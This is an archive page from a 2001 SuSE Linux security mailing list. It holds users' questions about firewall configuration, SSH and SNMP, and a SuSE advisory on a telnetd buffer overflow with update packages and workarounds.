Hallo , can anybody tell me what all of this mean ?? Sep 5 00:06:35 wall kernel: eth0: Transmit error, Tx status register 82. Sep 5 00:06:35 wall kernel: Flags; bus-master 1, dirty 17668(4) current 17668(4) Sep 5 00:06:35 wall kernel: Transmit list 00000000 vs. c74f2300. Sep 5 00:06:35 wall kernel: 0: @c74f2200 length 80000586 status 00010586 Sep 5 00:06:35 wall kernel: 1: @c74f2240 length 80000586 status 00010586 Sep 5 00:06:35 wall kernel: 2: @c74f2280 length 80000586 status 00010586 Sep 5 00:06:35 wall kernel: 3: @c74f22c0 length 80000586 status 80010586 Sep 5 00:06:35 wall kernel: 4: @c74f2300 length 80000056 status 00010056 Sep 5 00:06:35 wall kernel: 5: @c74f2340 length 80000056 status 00010056 Sep 5 00:06:35 wall kernel: 6: @c74f2380 length 8000002a status 0001002a Sep 5 00:06:35 wall kernel: 7: @c74f23c0 length 8000003e status 0001003e Sep 5 00:06:35 wall kernel: 8: @c74f2400 length 8000004a status 0001004a Sep 5 00:06:35 wall kernel: 9: @c74f2440 length 80000055 status 00010055 Sep 5 00:06:35 wall kernel: 10: @c74f2480 length 80000063 status 00010063 Sep 5 00:06:35 wall kernel: 11: @c74f24c0 length 80000036 status 00010036 Sep 5 00:06:35 wall kernel: 12: @c74f2500 length 80000057 status 00010057 Sep 5 00:06:35 wall kernel: 13: @c74f2540 length 80000071 status 00010071 Sep 5 00:06:35 wall kernel: 14: @c74f2580 length 80000042 status 00010042 Sep 5 00:06:35 wall kernel: 15: @c74f25c0 length 80000047 status 00010047 Sep 5 00:15:17 wall su: (to nobody) root on none Sep 5 00:15:17 wall PAM-unix2[4185]: session started for user nobody, service su Sep 5 00:17:04 wall PAM-unix2[4185]: session finished for user nobody, service su Mit freundlichen Grüßen Eduard Meiler ___________________________

6 5

RE: [SLE] SuSEfirewall2 questions ?
by Eric Romang 05 Sep '01

05 Sep '01

Hello, Thanxs for your answer. I have uninstall SuSEfirewall1 and personnal suse firewall in the method you give. Thxs ;) I wan't to know how to make an upgrade of SuSEFirewall2 there is a new version on http://www.suse.de/~marc Yes I use SSH to log remotely ;) For DHCPD, my ps -aux give me this : root 611 0.0 0.2 1364 636 ? S 13:13 0:00 /sbin/syslogd -a /var/lib/dhcp/var/run/dhcpd.pid Why DHCPD has an process with syslog ?? I don't have lunch DHCPD on startup... I don't wan't dhcpd... In my rc.concfig START_DHCPD is set to no... but they are some pid ... But I don't understand why my server freeze whitout reason... Regards > -----Original Message----- > From: Jaakko Tamminen [mailto:jtamminen@satabaana.net] > Sent: 05 September 2001 12:58 > To: Eric Romang > Subject: Re: [SLE] SuSEfirewall2 questions ? > > > Hi > > Disable personal-firewall, that blocks all outside connection attempts, > and that seems to be the case for You. > > To remove the "old" susefirewall, do it with yast->install/remove > packages, or you can try someting like "rpm -e SuSEfirewall". The name > must be correct, but I believe it might be that one. > > Actually there is no need to remove the "old" firewall, just don't > enable it. In my server I have both installed the same time, and the > only annoying thing is that there is both entrys in configuration file, > but it does not really matter. > > I hope You are using ssh to log remotely...? > > About dhcp.. I did not really understand Your question.. Do you need > DHCP-client to get Your IP for the server? If so, You need to enable > that (start dhcp), and also in firewall configuration section you need > to set "dhcp client" to YES. > > Hope this helps > > Jaska. > > > > > > > Hello, > > > > I have install SuSEfirewall2 on my serveur with two ethernet card. > > One for the private network, the other to the internet. > > > > I have some crash from the server I can't explain. > > The server freeze and i don't have the hand on it... no more root > > login possible > > and the tty are froozen... > > > > I have no error messages in my message log file, and also in my > > firewall message. > > > > But I have this line in my message log and warm message. > > > > My message log messages : > > > > Sep 6 12:04:36 lithium SuSEfirewall2: Firewall rules successfully > > set from /etc/rc.config.d/firewall2.rc.config > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: > > SuSEpersonal-firewall: Loading of module ipchains was not successful. > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No > > action taken. > > > > My warm log messages : > > > > Sep 6 12:04:35 lithium kernel: ip_tables: (c)2000 Netfilter core > > team Sep 6 12:04:35 lithium kernel: ip_conntrack (2047 buckets, > > 16376 max) Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: > > SuSEpersonal-firewall: Loading of module ipchains was not successful. > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No > > action taken. > > > > I have also, my sylogd how run dhcp, but i don't have start the dhcpd > > on startup... > > I can see a line in process... > > > > Somebody can explain me why my server freeze ?? > > > > And another question, I wan't to upgrade my SuSEfirewall2. > > What are the step to remove the old one ? > > > > Thanxs. > > Regards > > > > Eric Romang - System Administrator > > eric.romang(a)synapse.lu > > --------------------------------------------------------------------- > >------- --------- > > Site : http://www.synapse.lu > > Synapse Internet Services > > 49, Bd. G-D. Charlotte, L-1331 Luxembourg > > Tel : +352 / 44 79 44 77 > > Fax : +352 / 44 79 44 79 > > GSM : +352 / 021 7000 35 > > --------------------------------------------------------------------- > >------- --------- > > ---------------------------------------- > Content-Type: text/html; charset="iso-8859-1"; name="Liite: 1" > Content-Transfer-Encoding: quoted-printable > Content-Description: > ---------------------------------------- >

2 2

Firewall-SUSE 7.0
by Juergen Foag 05 Sep '01

05 Sep '01

Hello, on SUSE-LINUX 7.0, kernel 2.2.16, I've installed the firewall in the sense of a packet-filter (no proxies, no DMZ, no masquerading). From an firewall-external host (192.168.0.3), I tried to establish a connection (ssh, ping or http with our internal webserver (xx.yy.zz.15)) but have failures. The network topology is: external firewall firewall internal argos eth1 eth0 webserver 192.168.0.3 192.168.0.2 xx.yy.zz.42 xx.yy.zz.15 In the case of trying to connect from the external web client our Webserver http://xx.yy.zz.15, the var/log/firewall-file on the firewall host notices: kernel: Packet log: forward ACCEPT eth0 PROTO=6 192.168.0.3:36341 xx.yy.zz.15:80 With ethereal, I've logged on the internal interface (eth0) of the dual-homed firewall-host the message: Source Destination Protocol Info argosxx.yy.zz.42 xx.yy.zz.15 TCP Source Port 36345 > Dest. Port http (80) So I conclude, that my web request toward my webserver is handled correctly. But with ethereal on the webserver interface, I cannot receive the request message (going to port 80 http). After the web client request was timed out, the message on the web client host (argos) sends "unable to connect to server". The firewall.rc.config file looks like: # 2.) FW_DEV_WORLD="eth1" FW_DEV_WORLD_eth1="192.168.0.2 255.255.255.0" # 3.) FW_DEV_INT="eth0" FW_DEV_INT_eth0="xx.yy.zz.42 255.255.255.0" # 4.) FW_DEV_DMZ="" # 5.) FW_ROUTE="yes" # 6.) FW_MASQUERADE="no" FW_MASQ_NETS="" FW_MASQ_DEV="$FW_DEV_WORLD" # e.g. "ippp0" or "$FW_DEV_WORLD" # 7.) FW_PROTECT_FROM_INTERNAL="no" # -> NIS ypbind # 8.) FW_AUTOPROTECT_GLOBAL_SERVICES="no" # "yes" is a good choice # 9.) FW_SERVICES_EXTERNAL_TCP="0:65535" # for trial FW_SERVICES_EXTERNAL_UDP="0:65535" # for trial FW_SERVICES_INTERNAL_TCP="0:65535" # for trial FW_SERVICES_INTERNAL_UDP="0:65535" # for trial # 10.) FW_TRUSTED_NETS="192.168.0.0 xx.yy.zz.0/24" FW_SERVICES_TRUSTED_TCP="ssh 8 80 443" # Common: ssh FW_SERVICES_TRUSTED_UDP="8" # Common: syslog time ntp # 11.) FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" # Common: "ftp-data" (sadly!) FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" # Common: "dns" # 12.) FW_SERVICE_DNS="no" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SAMBA="no" # 13.) FW_FORWARD_TCP="" # Beware to use this! FW_FORWARD_TCP="192.168.0.3/24,xx.yy.zz.15,80 192.168.0.3/24,xx.yy.zz.4,22" FW_FORWARD_UDP="" # Beware to use this! # 14.) FW_FORWARD_MASQ_TCP="" # Beware to use this! FW_FORWARD_MASQ_UDP="" # Beware to use this! # 15.) FW_REDIRECT_TCP="" FW_REDIRECT_UDP="" # 16.) FW_LOG_DENY_CRIT="yes" FW_LOG_DENY_ALL="yes" FW_LOG_ACCEPT_CRIT="yes" FW_LOG_ACCEPT_ALL="no" # normally no # 17.) FW_KERNEL_SECURITY="no" # 18.) FW_STOP_KEEP_ROUTING_STATE="no" # 19.) FW_ALLOW_PING_FW="yes" FW_ALLOW_PING_DMZ="no" # 20.) FW_ALLOW_FW_TRACEROUTE="no" # 21.) FW_ALLOW_FW_SOURCEQUENCH="yes" # 22.) FW_MASQ_MODULES="autofw cuseeme ftp irc mfw portfw quake raudio user vdolive" So, if anyone has a solution to get a connection established, let me know it. Thanks Jürgen Foag -- _____________________________________________________________________ Telefon: +49 (0) 89 / 289 - 25290 Fax: +49 (0) 89 / 289 - 28323 Technische Universität München - Lehrstuhl f. Integrierte Schaltungen Arcisstrasse 21 - 80290 München - Deutschland / Germany E-Mail: Juergen.Foag(a)ei.tum.de Homepage: http://www.lis.e-technik.tu-muenchen.de/people/jf.html _____________________________________________________________________ If everything you try works, you are not trying hard enough ! (Gordon Moore) _____________________________________________________________________

1 0

Re : SuSEfirewall2 questions ?
by Eric Romang 05 Sep '01

05 Sep '01

Hello, Thanxs for your answer. I have uninstall SuSEfirewall1 and personnal suse firewall in the method you give. Thxs ;) I wan't to know how to make an upgrade of SuSEFirewall2 there is a new version on http://www.suse.de/~marc Yes I use SSH to log remotely ;) For DHCPD, my ps -aux give me this : root 611 0.0 0.2 1364 636 ? S 13:13 0:00 /sbin/syslogd -a /var/lib/dhcp/var/run/dhcpd.pid Why DHCPD has an process with syslog ?? I don't have lunch DHCPD on startup... I don't wan't dhcpd... In my rc.concfig START_DHCPD is set to no... but they are some pid ... But I don't understand why my server freeze whitout reason... Regards > > > -----Original Message----- > > From: Jaakko Tamminen [mailto:jtamminen@satabaana.net] > > Sent: 05 September 2001 12:58 > > To: Eric Romang > > Subject: Re: [SLE] SuSEfirewall2 questions ? > > > > > > Hi > > > > Disable personal-firewall, that blocks all outside connection attempts, > > and that seems to be the case for You. > > > > To remove the "old" susefirewall, do it with yast->install/remove > > packages, or you can try someting like "rpm -e SuSEfirewall". The name > > must be correct, but I believe it might be that one. > > > > Actually there is no need to remove the "old" firewall, just don't > > enable it. In my server I have both installed the same time, and the > > only annoying thing is that there is both entrys in configuration file, > > but it does not really matter. > > > > I hope You are using ssh to log remotely...? > > > > About dhcp.. I did not really understand Your question.. Do you need > > DHCP-client to get Your IP for the server? If so, You need to enable > > that (start dhcp), and also in firewall configuration section you need > > to set "dhcp client" to YES. > > > > Hope this helps > > > > Jaska. > > > > > > > > > > > > > Hello, > > > > > > I have install SuSEfirewall2 on my serveur with two ethernet card. > > > One for the private network, the other to the internet. > > > > > > I have some crash from the server I can't explain. > > > The server freeze and i don't have the hand on it... no more root > > > login possible > > > and the tty are froozen... > > > > > > I have no error messages in my message log file, and also in my > > > firewall message. > > > > > > But I have this line in my message log and warm message. > > > > > > My message log messages : > > > > > > Sep 6 12:04:36 lithium SuSEfirewall2: Firewall rules successfully > > > set from /etc/rc.config.d/firewall2.rc.config > > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: > > > SuSEpersonal-firewall: Loading of module ipchains was not successful. > > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No > > > action taken. > > > > > > My warm log messages : > > > > > > Sep 6 12:04:35 lithium kernel: ip_tables: (c)2000 Netfilter core > > > team Sep 6 12:04:35 lithium kernel: ip_conntrack (2047 buckets, > > > 16376 max) Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: > > > SuSEpersonal-firewall: Loading of module ipchains was not successful. > > > Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No > > > action taken. > > > > > > I have also, my sylogd how run dhcp, but i don't have start the dhcpd > > > on startup... > > > I can see a line in process... > > > > > > Somebody can explain me why my server freeze ?? > > > > > > And another question, I wan't to upgrade my SuSEfirewall2. > > > What are the step to remove the old one ? > > > > > > Thanxs. > > > Regards > > > > > > Eric Romang - System Administrator > > > eric.romang(a)synapse.lu > > > --------------------------------------------------------------------- > > >------- --------- > > > Site : http://www.synapse.lu > > > Synapse Internet Services > > > 49, Bd. G-D. Charlotte, L-1331 Luxembourg > > > Tel : +352 / 44 79 44 77 > > > Fax : +352 / 44 79 44 79 > > > GSM : +352 / 021 7000 35 > > > --------------------------------------------------------------------- > > >------- --------- > > > > ---------------------------------------- > > Content-Type: text/html; charset="iso-8859-1"; name="Liite: 1" > > Content-Transfer-Encoding: quoted-printable > > Content-Description: > > ---------------------------------------- > > > > > -- > To unsubscribe send e-mail to suse-linux-e-unsubscribe(a)suse.com > For additional commands send e-mail to suse-linux-e-help(a)suse.com > > Also check the FAQ at http://www.suse.com/support/faq and the > archives at http://lists.suse.com >

2 1

Re: [suse-security] ssh-incompatibility ?
by Daniel Quappe 05 Sep '01

05 Sep '01

hi folks, many thanks to all hints! i decided to upgrade to openssh version 2 and that works...;-) best regards, daniel -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

1 0

ssh-incompatibility ?
by Daniel Quappe 05 Sep '01

05 Sep '01

hi list, today i've got a problem: maybe someone out there already knows... i connected two hosts by dialin and wanted to use ssh for communication. this was the error-output (ssh -v): SSH Version 1.2.27 [i386-suse-linux], protocol version 1.5. Standard version. Does not use RSAREF. dbs: Reading configuration data /etc/ssh_config dbs: ssh_connect: getuid 0 geteuid 0 anon 0 dbs: Allocated local port 1022. dbs: Connecting to 192.168.23.115 port 22. dbs: Connection established. dbs: Remote protocol version 2.0, remote software version OpenSSH_2.3.0p1 dbs: Waiting for server public key. Local: Bad packet length 1349676916. 192.168.23.115 is the dialin-server and 192.168.23.116 the client-machine. does anyone know this problem (and a solution..;-) ? best regards, daniel -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

3 2

SuSEfirewall2 questions ?
by Eric Romang 05 Sep '01

05 Sep '01

Hello, I have install SuSEfirewall2 on my serveur with two ethernet card. One for the private network, the other to the internet. I have some crash from the server I can't explain. The server freeze and i don't have the hand on it... no more root login possible and the tty are froozen... I have no error messages in my message log file, and also in my firewall message. But I have this line in my message log and warm message. My message log messages : Sep 6 12:04:36 lithium SuSEfirewall2: Firewall rules successfully set from /etc/rc.config.d/firewall2.rc.config Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: SuSEpersonal-firewall: Loading of module ipchains was not successful. Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No action taken. My warm log messages : Sep 6 12:04:35 lithium kernel: ip_tables: (c)2000 Netfilter core team Sep 6 12:04:35 lithium kernel: ip_conntrack (2047 buckets, 16376 max) Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: SuSEpersonal-firewall: Loading of module ipchains was not successful. Sep 6 12:04:36 lithium /sbin/SuSEpersonal-firewall: Aborting. No action taken. I have also, my sylogd how run dhcp, but i don't have start the dhcpd on startup... I can see a line in process... Somebody can explain me why my server freeze ?? And another question, I wan't to upgrade my SuSEfirewall2. What are the step to remove the old one ? Thanxs. Regards Eric Romang - System Administrator eric.romang(a)synapse.lu ---------------------------------------------------------------------------- --------- Site : http://www.synapse.lu Synapse Internet Services 49, Bd. G-D. Charlotte, L-1331 Luxembourg Tel : +352 / 44 79 44 77 Fax : +352 / 44 79 44 79 GSM : +352 / 021 7000 35 ---------------------------------------------------------------------------- ---------

2 1

[suse-security] problem with firewall and X-forwarding
by kohli＠dplanet.ch 05 Sep '01

05 Sep '01

Hi again. I already asked that question once, but then I didn't get any helpful answers... Following problem: I'm in the intranet at my office, and want to work on a remote server. Let's call him jasper. So, I'm on jasper an make a "xspread". Now I get the following answer: xspread: Can't open display client84.xxxx.xx:0 It doesn't matter whether I use ssh or rlogin or rsh to log in to jasper, it simply doesn't work. My firewall log says: Sep 5 11:17:55 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 xxx.xx.xxx.xx:60972 xxx.xx.xxx.xx:6000 L=44 S=0x00 I=5353 F=0x4000 T=255 SYN (#5) Sep 5 11:17:56 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 xxx.xx.xxx.xx:60974 xxx.xx.xxx.xx:6000 L=44 S=0x00 I=5354 F=0x4000 T=255 SYN (#5) Sep 5 11:17:57 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 1xxx.xx.xxx.xx:60975 xxx.xx.xxx.xx:6000 L=44 S=0x00 I=5355 F=0x4000 T=255 SYN (#5) Sep 5 11:17:58 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 1xxx.xx.xxx.xx:60976 xxx.xx.xxx.xx:6000 L=44 S=0x00 I=5356 F=0x4000 T=255 SYN (#5) Sep 5 11:17:59 memphis kernel: Packet log: rulchain REJECT eth0 PROTO=6 xxx.xx.xxx.xx:60977 xxx.xx.xxx.xx:6000 L=44 S=0x00 I=5357 F=0x4000 T=255 SYN (#5) Now, how can I solve that problem? Also, I wonder why the outgoing port on jasper is steadily inceasing by one, with each attempt to connect...? Any help appreciated! TIA markus

2 1

SuSEfirewall2 and ICMP
by Peter Menzel 04 Sep '01

04 Sep '01

Hello, I successfully installed SuSEfirewall2 and configured it to my needs. The firewall box is set up with two external interfaces (ippp0 and eth1). eth1 is normally connected to an ELSA DSL router and in case DSL will not work I want to switch back to ISDN. So far I've set up ISDN and that stuff, the box is doing everything fine. Clients can do http, https, ftp, mail and so on. Portscans run from the internet report all ports as stealth and the firewall cannot be pinged from the internet. But when it comes to a ping from the internal network to the internet, nothing works. I've tried all the FW_ALLOW_PING_[FW|DMZ|EXT] settings, with no results. Interesting: when I set FW_FORWARD_PING_DMZ="yes" I am able to ping the internet from the firewall, but not from the clients. More interesting: I have not configured a DMZ (yet). What I would like to do is to ping the internet from the clients and get the echo-reply back. echo-requests from the internet have to be dropped at the firewall. Has anyone experienced these problems? Any help would be appreciated. Thanks in advance, Peter peter.menzel(a)com-gmbh.de

1 0

ssh question
by Sven Michels 04 Sep '01

04 Sep '01

Hi there, i've a problem with openssh behind a 2.4.x firewall. If i try to connect to the outside, i got no response until setting the -P flag. with -P it works fine. So it seems to be a problem with the nonprivat port. is there a firewall missconfiguration or something i missed? with 2.2.19 all works fine (without -P). Regards, Sven -- intraDAT AG http://www.intradat.com Wilhelm-Leuschner-Strasse 7 Tel: +49 69-25629-0 D - 60329 Frankfurt am Main Fax: +49 69-25629-256

3 5

AW: [suse-security] ucd-snmpd default configuration
by Reckhard, Tobias 04 Sep '01

04 Sep '01

> > SNMP is not only read but write typically. > > In it's default configuration, really? > I'd suppose so as well. It depends on the configuration of the SNMP server. > > easier to sniff (cleartext). > > I thought it's possible to set up SNMP using some encryption by > itself, but a quick search didn't found a useful HOWTO neither > about SNMP nor encryption nor security... Except "disable if not > needed"... > AFAIK, SNMPv3 will support encryption and a decent authentication scheme, but most SNMP implementations out there are still v1 or v2. Actually, I think that the SNMPv3 standard hasn't even been passed yet. > Yep, of course the firewalls restrict it to just one machine, but > I would like to make sure that the snmpd will not allow bad > things under any cirumstances. Firewalling is quite clear, like > always :) > Well, you can never be 100% sure.. (responding to your phrase. "..under *any* circumstances...". And whether things are good or bad depends a lot on the context they happen in. > > and maybe using ssh port forwarding or ipsec to encrypt it. > > IPSec with each machine is to expensive and won't help, since it > the monitor gets compromised IPSec can be used by unauthorized > software - same for SSH, so I don't see a big improvement. > Why do you consider IPSec too expensive? As it is, you don't need to do IPSec with all hosts, you can configure it on a host by host basis. In fact, you need to, unless you've got DNSSEC set up, as you need a host-specific authentication entity for each host. Still, it's not much more work than SSH, IMHO. As far as the security offered by IPSec is concerned, IPSec gives you real authentication of the source of IP packets. SNMP uses UDP, which makes the combination of easy source address spoofing and access to configuration commands (SNMP RW) a very risky thing. IPSec can prevent spoofing and keep sniffers from reading your SNMP data as well. Tobias

2 3

Re: [suse-security] SuSE-FW-DROP-ANTI-SPOOFING
by Burghard W.V. Britzke 04 Sep '01

04 Sep '01

The SuSEfirewall2 v1.6 is quite good! I found the thing. My internal net is 192.175.233.0/24 my external net is 192.175.233.0/30 (a two bit subnet with only the router and my firewall in it). There are rules to prevent boxes from extenal to be routed to internal if they have an internal address. Unfortunally 192.175.233.0/24 (my internal net) includes 192.175.233.0/30 (my extenal net). So my router cannot communicate with internal boxes. This is not as bad as it seems to because all packets which are forwarded from outside are not rejected by the ANTI-SPOOF rule (but it is most likely that they are rejected by other rules ;-)) For configuration purposes I simply delete the two DROP rules and the two LOG rules from input_ext chain (and may be from forward_ext chain if I want forwarding to my router). Steffen Schoch and Martin Haas antworteten (answered) > ... > > "Burghard W.V. Britzke" wrote: > > > > hello, > > I have problems to contact my firewall from outside. Our uunet router is capable to contact our firewall and some of the services provided > > internally from outside. but when I plug a local pc with the same IP address to the FW_DEV_EXT network and try to connect to smtp (for > > example) I get > > SuSE-FW-DROP-ANTI-SPOOF IN=eth0 OUT= MAC=... SRC=<router> DST=<firewall> LEN=48 TOS=0x0 > > 0 PREC=0x00 TTL=128 ID=546 DF PROTO=TCP SPT=1043 DPT=25 WINDOW=16384 RES=0x00 SY > > N URGP=0 OPT (020405B401010402) > > > > again: the uunet router is capable to send mails via smtp port and I do not get the above error message. Why do I get those messages?

1 0

Ftp from DMZ with SuSEfirewall2 v1.7
by wbrune 04 Sep '01

04 Sep '01

Hello, I've setup an Firewall with SuSEfirweall2 v1.7. It has got 3 Interfaces. EXT, DMZ and INT. In the DMZ is a Server running Squid and Sendmail=20 My Problem is, the Server in the DMZ can't do Ftp. I allowed outgoing ftp in FW_FORWARD. Works fine. But if the Server outside starts to send Data from Port 20 the Firewall drops the Packets=20 (SuSE-FW-DROP-DEFAULTIN=3D... spt=3D20 dpt=3Dxxxxx) Ftp from the Firewall itself works fine.=20 I tried to set ftp-data in FW_ALLOW_INCOMING_HIGHPORTS. Didn't work.=20 I tried a Rule for ftp-data in any Direction in FW_FORWARD.=20 Didn't work. Can anyone help? -- Mit freundlichem Gruss Willi Brune

1 0

SuSE-FW-DROP-ANTI-SPOOFING
by Burghard W.V. Britzke 04 Sep '01

04 Sep '01

hello, I have problems to contact my firewall from outside. Our uunet router is capable to contact our firewall and some of the services provided internally from outside. but when I plug a local pc with the same IP address to the FW_DEV_EXT network and try to connect to smtp (for example) I get SuSE-FW-DROP-ANTI-SPOOF IN=eth0 OUT= MAC=... SRC=<router> DST=<firewall> LEN=48 TOS=0x0 0 PREC=0x00 TTL=128 ID=546 DF PROTO=TCP SPT=1043 DPT=25 WINDOW=16384 RES=0x00 SY N URGP=0 OPT (020405B401010402) again: the uunet router is capable to send mails via smtp port and I do not get the above error message. Why do I get those messages?

2 1

compartment and the --cap option
by Andreas Amann 03 Sep '01

03 Sep '01

Hello everybody! I am currently trying to bring several daemons on my system into a chroot jail using Marc Heuse's 'compartment' tool. So far all works quite well but the fine tuning is still to be done. I am wondering what kind of security enhancements can be done by using compartments '--cap' option. Since the documentation of this feature is not very exhaustive i am still looking for some missing link to understand this correctly. Maybe someone here could help me with that. If I understand that correctly, capabilities are a partitioning of root's privileges and using the --cap option i can influence the privileges of a newly started process no matter whether it will run as root or not. So, for example, the command 'compartment --chroot /some/dir --cap none --verbose /daemon/with_uid0/port_below_1024' should fail miserably because the daemon won't be able to bind to it's port. But exactly this works and i am wondering why (compartment tells me that it successfully set caps to 0x0). I am using SuSE 7.2 with a (stock) Kernel 2.4.9 (but it also happens with a SuSE 2.2.19). /proc/sys/kernel/cap_bound says -257, say everything except CAP_SETPCAP. So thinking about that and the stuff i've read in the 'capfaq' from http://www.kernel.org/pub/linux/libs/security/linux-privs/kernel-2.2/capfaq… i have the following questions: - Is it true that --cap only works with CAP_INIT_EFF_SET and CAP_INIT_INH_SET set to -1 in <linux/capability.h> in order to get the CAP_SETPCAP privilege? - If so, doesn't it give even more problems when granting the CAP_SETPCAP right to init? I think this would mean that every process started by init will have it. - If not, do i totally missunderstand something and everything is working well except me? Thanks in advance to everyone who will be so friendly to help me with that! With kind regards Andreas Amann <mailto:andreas.amann@epost.de>

2 4

SuSE Security Announcement: nkitb/nkitserv/telnetd
by Sebastian Krahmer 03 Sep '01

03 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: nkitb/nkitserv/telnetd Announcement-ID: SuSE-SA:2001:029 Date: Mon Sep 3 12:55:58 MEST 2001 Affected SuSE versions: [6.1, 6.2,] 6.3, 6.4, 7.0, 7.1, 7.2 Vulnerability Type: remote code execution Severity (1-10): 8 SuSE default package: yes Other affected systems: All UN*X Systems shipping BSD derived telnetd Content of this advisory: 1) security vulnerability resolved: Buffer overflow in in.telnetd problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The telnet server which is shipped with SuSE distributions contains a remotely exploitable buffer-overflow within its telnet option negotiation code. This bug is wide-spread on UN*X systems and affects almost all implementations of telnet daemons available. SuSE 7.2 distribution ships the telnet-server package which contains the vulnerable telnet daemon. This package has been fixed. The SuSE Linux distributions 6.3 and 6.4 contain versions and implementations of the telnet-daemon that are vulnerable, but the complexity of the code requires a full source code audit of the software. In order not to further delay the release of the packages for the SuSE Linux 7.x distributions, we recommend to disable the telnet daemon on the 6.x distributions. This can be done by commenting out the line in /etc/inetd.conf that starts with "telnet", and then reloading the inetd configuration using the command "killall -1 inetd". Another option is to not start the inetd in the first place if you do not need any of the services provided by the inetd daemon. Disabling inetd permanently involves killing the running inetd process ("killall -TERM inetd") and setting the variable START_INETD in /etc/rc.config to "no" (as opposed to "yes"). Disabling the telnet service is the preliminary solution/workaround against the problems with the telnetd daemon. We hope to be able to provide a better solution. The SuSE Linux distributions 7.0, 7.1 and 7.2 have similar implementations of in.telnetd, and for all of these distributions there are update packages available. Please note that the package that contains the /usr/sbin/in.telnetd program (the server program) has changed over the different releases of the SuSE Linux distribution. In the 7.0 and 7.1 distributions the package is called "nkitserv". The 7.2 distribution lists the telnet server in the package "telnet-server". Please download the packages and verify them as described in section 3. After successfull authentication you can update your packages with the command `rpm -Uhv file.rpm'. Further action should not be necessary to activate the update since the in.telnetd daemon is started from a new by inetd upon every accepted connection from the network. Regardless of the availiability of fixed packages of the telnet-daemon, SuSE Security strongly recommend to disable the telnet service if you do not use it. In addition to that, only cryptographically protected protocols such as secure shell (ssh, package openssh) can be an efficient countermeasure against sniffing and spoofing type attacks. Due to significantly more comfort (such as X11-forwarding, multiple authentication methods, ...), the transition to ssh should be worth the effort in any case. i386 Intel Platform: SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/telnet-server-1.0-69.i386.rpm 0adc05af9762bd4c63eee464ca3131d1 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/telnet-1.0-69.src.rpm fe313553d1a6f022c7eb2f87ccd6772f SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/nkitserv-2001.8.14-0.i386.rpm e0636eec04ccf2129b0e2ea0ee40c231 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm 57760fcd8e064e89591203f7ba9adefc SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/nkitserv-2001.8.16-0.i386.rpm e8a859d5a648a572fc08628247c1e2d6 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm 33d4abc52926ac957f21b8c8aae7adce Sparc Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n1/nkitserv-2001.8.14-0.sparc.… 3ef64d1cae35be51c9eff9bebcf4cf79 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm 4cb76a16bd2f53c37a7cee728ea21c81 SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/nkitserv-2001.8.16-0.sparc.… f4901a4a271657d0379aff114d30b912 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm ad909d8e3d2d0a617a5a9f6e3d7cd74d AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/nkitserv-2001.8.14-0.alpha.rpm efad3412a8d333947bcf74695c023ea8 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm 94d0dba0396e41b4afbd3ef61c4fd8aa SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/nkitserv-2001.8.16-0.alpha.rpm 934525486e72a5cc98736f4cb1217f93 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm a6623ff6d9439dea40f24ff35acefe99 Power PC Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/nkitserv-2001.8.14-0.ppc.rpm 4da51d1a38095e81ee389094b0f21160 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm 499b282f614835fe7a7b1a9ab039c56d SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/nkitserv-2001.8.16-0.ppc.rpm 262f3fc3653042976c8cc36a2cd7e44d source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm 7cba8393bb8a71cf4d39fb480a71b42e ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - w3m The w3m browser contains a buffer-overflow which allows remote-attackers to execute arbitrary code or to crash the w3m web-client when viewing special crafted sites. Please update to the newest w3m packages available on the ftp-server. - dip The dip program is executable as setuid root program for users in the "dialout" 